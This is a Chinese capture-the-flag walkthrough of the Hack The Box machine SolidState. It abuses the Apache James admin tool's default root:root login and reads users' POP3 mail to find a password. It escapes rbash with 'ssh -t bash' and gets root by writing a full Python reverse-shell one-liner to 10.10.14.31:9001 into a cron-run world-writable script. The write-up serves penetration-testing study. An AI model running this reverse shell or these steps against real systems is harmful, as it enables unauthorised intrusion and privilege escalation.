HTB-SolidState

HTB-SolidState
- 信息收集
-
- 80端口
- Apache James
- mindy
-
- rbash绕过
- mindy -> root
- 总结

信息收集


80端口

目录扫描

从/README.txt文件里知道他们在捣鼓一个新的秘密项目,这个新的秘密项目就是一个新的网页外观。

80端口先点到为止,免得进兔子洞。
Apache James
JAMES pop3d 2.3.2

在msf上使用相关负载会失败。


4555还有一个JAMES管理员工具。

使用root:root登录查看。

listusers

我们可以控制5个人的账户信息,当然包括修改密码。

我们想要查看是否有有趣的邮件,所以要使用110端口的POP3,telnet 10.10.10.51 110。
输入用户
| 命令 | 作用 | 用法 |
|---|---|---|
| user | 输入用户 | user aster |
| pass | 输入密码 | pass aster |
| list | 列出邮件列表 | list |
| retr | 查看邮件内容 | retr id |
| dele | 删除邮件 | dele id |
| quit | 退出 | quit |

最左边的1,2就是邮件编号。

有一封给mindy的邮件里面有mindy的凭证。
username: mindy
pass: P@55W0rd1!2@
一共三封邮件,两个和mindy有关,分别是欢迎mindy加入以及给mindy分配登陆密码。还有一个是发给John的,拜托john限制mindy访问权限以及给mindy分配凭证。
mindy
使用上面获得的凭证即可登录mindy。

果然限制了shell。

rbash绕过

在登陆ssh的时候加上-t指定shell类型。

mindy -> root
在opt中发现了一个777文件tmp.py。

内容如下。

没有sudo,只有一个孤独的tmp.py,想必只有时间任务能陪伴它了。

修改tmp内容如下。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.31",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")

慢慢等待。

总结
SolidState的突破口是开放的25smtp端口、110pop3端口、以及4555James 远程管理工具。4555服务使用的默认凭证root:root让我们有可乘之机。通过修改所有用户密码后转向110的pop3收集用户邮件并发现mindy的用户密码。登陆后遇到rbash限制,尝试发现可以通过ssh -t指定shell绕过。随后在/opt文件发现了幸运777文件并修改等待时间任务自动运行提权。
apache james root:root
ssh mindy@ip -t “bash” 绕过rbash


